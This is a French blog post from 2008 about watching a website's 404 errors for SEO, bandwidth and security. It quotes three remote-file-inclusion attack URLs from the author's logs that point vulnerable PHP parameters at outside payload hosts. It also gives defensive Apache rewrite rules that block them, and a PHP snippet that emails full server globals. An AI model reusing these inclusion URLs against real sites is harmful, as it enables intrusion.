Gastero Prod

  • Aller au menu
  • Aller au contenu
  • Aller au pied de page
  • Accueil
  • Blog
  • Photos
  • Liens
  • Lifestream

Surveillez vos erreurs 404, elles peuvent être très instructives

Date de publication
2/juin
2008
Tags
404, développement, RewriteRule, SPIP

A l’heure où tout le monde ne jure que par l’optimisation du référencement — on dit Search Engine Optimization, ou SEO, pour faire branché — afin d’augmenter son trafic, et ainsi ses clients potentiels et/ou son revenu publicitaire, qui se soucie de vérifier ce qui se passe pour les internautes qui arrivent bien sur le site, mais sur une page qui n’existe pas, indiquée comme il se doit par une erreur HTTP 4041 ?

Si vous ne vous en souciez pas, commencez tout de suite à le faire, il y a beaucoup à apprendre, et sans doute beaucoup d’améliorations à apporter à votre site.

Le moyen le plus simple de connaître les URL en erreur 404 sur lesquelles arrivent les internautes, c’est d’abord de s’intéresser à celles qui sont référencées dans les moteurs de recherche, dont Google. On peut trouver justement un référencement des pages en erreur, dont celles en 404, au sein des outils Google pour les webmasters.

PNG - 150.8 ko
Erreurs 404 de Gastero Prod référencées par Google

Une autre méthode plus basique et source potentielle d’explosion de compte mail est de se faire envoyer un mail à chaque requête donnant une erreur. C’est ce que j’ai fait dans mon squelette 404.html pour Gastero Prod, en donnant au passage quelques informations utiles de contexte d’appel :

<?php
mail('adresse@example.com',
        '[GP404] '.$_SERVER['REQUEST_URI'],
        '#URL_SITE_SPIP'.$_SERVER['REQUEST_URI']."\r\n".'User agent: '.$_SERVER['HTTP_USER_AGENT']."\r\n".'Referer: '.$_SERVER['HTTP_REFERER']."\r\n".print_r($GLOBALS, true),
        'From: adresse@example.com');
}
?>

Identifier les erreurs 404 permet d’améliorer un site sur plusieurs sujets :

La qualité du référencement

Si un internaute arrive sur votre site depuis un moteur de recherche, et tombe sur une erreur 404, c’est qu’il y a un soucis dans votre référencement, sans doute parce que votre site ou un autre site contient des liens qui pointent vers ces mauvaises URL, liens qui existent :

  • soit par simple erreur de frappe, ce qu’un bon outil de gestion de contenus Web devrait permettre d’éviter,
  • soit parce que vous avez modifié vos URL, ce qu’il ne faut surtout pas faire !,
  • soit parce que des URL déterminées et gérées automatiquement sont mal configurées.

En observant les erreurs 404 relevées par Google, j’ai pu corriger de nombreux problèmes apparus sur Gastero Prod, notamment avec le petit changement opéré sur les URL2 pour que les articles du blog ne soient plus à la racine mais dans une sous rubrique blog/ et surtout un mélange entre URL absolues et URL relative, pas encore totalement bien gérées dans SPIP avec des URL arborescentes.

Il n’y a bien entendu pas que le nettoyage des erreurs 404 qui permet d’améliorer la qualité du référencement, mais c’est un autre sujet...

Les performances, la consommation de bande passante, et donc potentiellement le coût de l’hébergement

Si vous faites en sorte de diminuer les erreurs 404 sur votre site, quelles qu’en soit les causes, les internautes ne téléchargeront que les pages réellement intéressantes, et vous réduirez le gaspillage de ressources de votre serveur, ainsi que la bande passante consommée.

Selon la nature de votre hébergement, cela peut avoir un impact — positif à priori — sur son coût, ce qui peut s’avérer intéressant comme motivation.

La sécurité

Vous pouvez aussi identifier, dans les erreurs 404, des attaques essayant de profiter de failles de sécurité de solutions packagées.

Par exemple, un requête revenant ces derniers temps dans mes logs de 404 est la suivante :

http://www.gasteroprod.com/infoevent.php3?rootagenda=http://love-ma2.t35.com/sistem.txt?

En cherchant infoevent.php3 sur Google, j’ai découvert qu’il s’agit d’un script faisant justement l’objet d’une faille de sécurité de phpMyAgenda.

Comme par hasard, le client ayant fait cette requête n’est pas un navigateur traditionnel, mais s’identifie comme étant libwww-perl/5.803. C’est donc bien un programme qui tente l’attaque, sauf falsification de signature qui serait ici inepte.

Autre exemple avec cette requête :

http://www.gasteroprod.com//tags.php?BBCodeFile=http://guhit.com/img/id.txt?

Requête qui correspond à une faille de sécurité de Tagger LE, et qui est demandée comme par hasard aussi par un client libwww-perl/5.812 !

Dernier exemple avec cette requête :

http://www.gasteroprod.com//chat/users_popupL.php3?From=http://www.covoiturage.fr/communities/arab.txt??

Requête qui correspond à une faille de sécurité de phpMyChat3, et qui est demandée comme par hasard une fois de plus par un client libwww-perl/5.805 !

Je tiens à signaler aux hackers qui me liraient que je n’utilise aucune de ces applications, ni aucune des nombreuses autres auxquelles s’adressent les autres attaques que je subi...

Faudrait-il donc refuser systématiquement toute requête signée par libwww-perl ?

En tout cas, vous pouvez déjà refuser les requêtes clairement identifiables comme des attaques brutales, par exemple comme ceci si vous avez le module mod_rewrite pour Apache :

# Bloquer certaines attaques brutales pas fines
# http://www.securityfocus.com/bid/19464
RewriteCond %{QUERY_STRING} &?BBCodeFile=([^&]+)
RewriteRule tags\.php - [F,L]
# http://www.securityfocus.com/bid/29164
RewriteCond %{QUERY_STRING} &?rootagenda=([^&]+)
RewriteRule infoevent\.php3 - [F,L]
# http://osvdb.org/39224
RewriteCond %{QUERY_STRING} &?From=([^&]+)
RewriteRule users_popupL\.php3 - [F,L]

Voilà, vous êtes prévenus, n’ignorez plus vos erreurs 404, agissez !

Notes

[1] Oui, c’est la règle, mais certains ne la respectent pas, bien entendu...

[2] Oui, je sais, c’est mal, mais j’ai mis des redirections permanentes au moins, moi ! ;-)

[3] Oups oups oups ! :-(

Commentaires

Commenter ce billet

RSS

Commentaires déjà déposés

  • 3 juin 2008 à 08h26
    Commentaire de Olivier

    merci pour cet éclairage très instructif. Il va falloir appliquer les recettes maintenant !

    Répondre à ce message

  • 3 juin 2008 à 10h02
    Commentaire de Olivier G.

    Intéressant. Est-ce que tu n’aurais pas aussi intérêt à t’envoyer l’adresse IP du visiteur ?

    Répondre à ce message

    • 3 juin 2008 à 12h01
      Commentaire de Nicolas Hoizey

      En fait je l’ai, puisque je m’envoie tout $GLOBALS, qui contient notamment $_SERVER...

      Répondre à ce message

  • 3 juin 2008 à 20h43
    Commentaire de NiKo

    Attention cependant, logguer les 404 dans une base de données (ou dans un fichier de logs d’ailleurs) peu très vite s’avérer une mauvaise idée sur des sites populaires et/ou à très fort traffic : en effet, nombre d’apprentis hackers tentents des urls en lui passant des arguments arbitraires, ce qui a pour conséquence de créer une nouvelle entrée systématiquement, et donc de grossir la base de façon linéaire.

    Pour info, symfony-project.com, c’était 1Go de logs à purger toute les semaines, donc a fini par arrêter.

    Répondre à ce message

    • 4 juin 2008 à 08h25
      Commentaire de Nicolas Hoizey

      Oui, bien sûr, et c’est notamment pour cela que ça part par mail plutôt que rester sur mon serveur, GMail encaisse très bien... ;-)

      Et je filtre de toute façon au niveau apache la plus grande partie de ces attaques, avec des pattern génériques (cf extrait de RewriteRules) et non les paramètres précis de chaque attaque, donc c’est autant de moins dans les logs de 404.

      Répondre à ce message

  • 21 novembre 2008 à 18h16
    Commentaire de Jacques

    Avec SPIP 2, il est aisé de faire un log spécifique.

    Exemple à mettre en début de 404.html :

    <?php
    spip_log('404 REQUEST_URI:'.$_SERVER['REQUEST_URI'],'404');
    ?>

    Répondre à ce message

    • 24 novembre 2008 à 17h49
      Commentaire de Nicolas Hoizey

      Effectivement, mais moi je mets carrément un dump de $GLOBALS dans l’alerte que je m’envoie par mail, difficilement envisageable dans un fichier de logs... ;-)

      Répondre à ce message

Partager

Pour faire un lien vers cet article, vous pouvez utiliser soit son URL canonique soit son URL courte :

http://gasteroprod.com/a684

Billets avec les mêmes tags

  • Gastero Prod maintenant sur SPIP 1.8.2 pr2... en attendant plus
  • Quand le confort d’un internaute met en péril celui des autres

Derniers billets

  • Faut-il continuer à supporter Internet Explorer 6 ?

    Article initialement publié dans le blog de Clever Age.

    On ne va pas ergoter sans fin, tout le monde doit maintenant savoir que Internet Explorer 6 — IE6 pour les intimes — est un navigateur obsolète et dangereux. Et pourtant, certains continuent à l’utiliser. Faut-il les en dissuader, refuser de leur fournir son support, aller même jusqu’à leur empêcher l’accès, ou faut-il continuer à supporter (les faiblesses de) ce navigateur ?

    Date de publication
    22/juillet
    2010
    Tags
    Clever Age, Internet Explorer, standards
  • Les inscriptions à Paris Web 2010 sont ouvertes !

    Paris Web 2010, c’est la cinquième édition de ce rendez-vous français annuel, devenu incontournable, pour se tenir informé des bonnes pratiques de développement Web. Go go go !

    Date de publication
    2/juillet
    2010
    Tags
    Paris Web, qualité, standards
  • Faciliter la reprise de tweets (les retweets) à l’ancienne sur Twitter

    Même si Twitter a mis en place depuis maintenant un certain temps un mécanisme natif de retweets1, je préfère souvent continuer à utiliser les « RT » traditionnels, qui laissent la possibilité de commenter le tweet initial, ce que ne permet pas le retweet officiel. Une règle qui me paraît essentielle pour faciliter le retweet à l’ancienne, c’est de prévoir une taille de tweet suffisamment faible pour que le retweeteur voit son travail facilité, surtout si le tweet initial ne contient que très peu de mots inutiles.

    Date de publication
    14/juin
    2010
    Tags
    Twitter

Derniers commentaires

  • R03ER7 sur Le Jailbreak de l’iPhone ou de l’iPod Touch est-il légal ? : « Jailbreaker ne veut pas dire voler » mais plutôt « Permettre l’installation d’applications quand (...)

  • Sur Citation d’Oscar Wilde : sauf qu’il me semble qu’en vrai c’est une phrase de A de St Exupery !

  • Scandale sur Afficher les favicon dans la barre personnelle de Firefox sous Mac OS : Pour ceux qui, comme moi, manquent de place dans leur barre personnelle, j’ai aussi ajouté le (...)

  • Scandale sur Afficher les favicon dans la barre personnelle de Firefox sous Mac OS : merci pour le tuyau, ça marche. manque juste dans le tutoriel le chemin ou mettre le fichier, (...)

  • Nicolas Steinmetz sur Faut-il continuer à supporter Internet Explorer 6 ? : Parce que certaines entreprises sont encore sous WinNT / Win2000 à cause d’applications métiers ? (...)

  • ThierryD sur Prendre des éclairs (d’orage) en photo : Bonjour, Je me permet d’intervenir dans ce post pour vous faire part de ma technique pour (...)

  • ventrea sur Backup d’un Mac sur un NAS facile et sans bidouille, c’est possible ? : Time machine est pris en chagre par les dernières versions de firmware sur les nas Qnap (...)

  • Sur Une sauvegarde de fichiers en ligne très simple pour pas cher : Oui, j’ai le même genre et c’est vraiment pratique :) : https://www.axalot.fr

  • Sur Google Chrome sur Mac, bilan mitigé : > Pas de barre de titre, donc je ne connais pas le nom de la page dès que j’ai plus de 5 onglets (...)

  • Maurice sur Backup d’un Mac sur un NAS facile et sans bidouille, c’est possible ? : Par contre, je ne pense pas que ça résolve le problème de performance lorsque la taille du backup (...)

Nuage des tags les plus fréquents

  1. 3D
  2. 404
  3. accessibilité
  4. agenda
  5. Ajax
  6. animal
  7. animation
  8. Apple
  9. bande dessinée
  10. blog
  11. Blogmarks
  12. Blu-Ray
  13. bookmarks
  14. Canon
  15. cinéma
  16. citation
  17. Clever Age
  18. client riche
  19. concert
  20. couleur
  21. création
  22. CSS
  23. Daft Punk
  24. développement
  25. design
  26. dessin animé
  27. DotClear
  28. e-commerce
  29. ergonomie
  30. FeedBurner
  31. film
  32. Firefox
  33. Flickr
  34. fun
  35. Gastero Prod
  36. Google
  37. Greasemonkey
  38. hébergement
  39. HD
  40. humour
  41. hype
  42. IBM
  43. image
  44. informatique
  45. Internet
  46. iPhone
  47. JavaScript
  48. jeux
  49. jQuery
  50. Les Nuls
  51. Linux
  52. littérature
  53. livre
  54. logiciel
  55. logiciel libre
  56. loisirs
  57. Mac
  58. macro
  59. Microsoft
  60. moi
  61. Mozilla
  62. musique
  63. NetBook
  64. ordinateur
  65. oups
  66. photo
  67. PHP
  68. phpHeaven
  69. phpMyChat
  70. PicLens
  71. presse
  72. publicité
  73. recherche
  74. RewriteRule
  75. RSS
  76. sémantique
  77. SEO
  78. société
  79. Sony
  80. SPIP
  81. standards
  82. tag
  83. télévision
  84. vidéo
  85. Web 2.0
  86. Windows
  87. Yahoo !

A propos

L'auteur

Dans la vie professionnelle, co fondateur et Directeur Technique du cabinet de conseil nouvelles technos Clever Age, et dans la vie extra-professionnelle, créateur et animateur de Gastero Prod, flickRate et Ergothon, responsable technique de Marketing Planet et d’autres sites web, passionné d’Internet, de cinéma, de littérature, de musique ...

L'outil
Ce site est réalisé avec le logiciel libre de gestion de contenus Web SPIP en version 2.1.2 SVN [16020]

Identité 2.0

Vous pourrez aussi me trouver sur ces différentes communautés en ligne :

Réseaux sociaux
Diigo, Facebook, LinkedIn, Twitter
Photo
deviantART, Flickr, JPG Magazine, RedBubble
Geek stuff
GitHub, Ohloh, Userscripts.org
Autres
La musique sur Last.fm, Les livres sur Goodreads

Blogoliste

Proches
  • Jacqueline Oud
  • Marron show
  • Glagla Dot Org
  • Cédric Hoizey
Relations
  • Chez Xavier - Thoughts
  • La Case de l’Oncle Tom
  • Maître shteshitsu
  • Prendre un Café
  • Un Electron Libre...
Autres
  • Clever Age
  • Marketing Planet
Creative Commons License

Sauf mention explicite, tous les contenus de ce site sont la propriété de Nicolas Hoizey, et sont sous licence Creative Commons « Paternité - Pas d'Utilisation Commerciale - Partage des Conditions Initiales à l'Identique » version 2.0 adaptée à la France.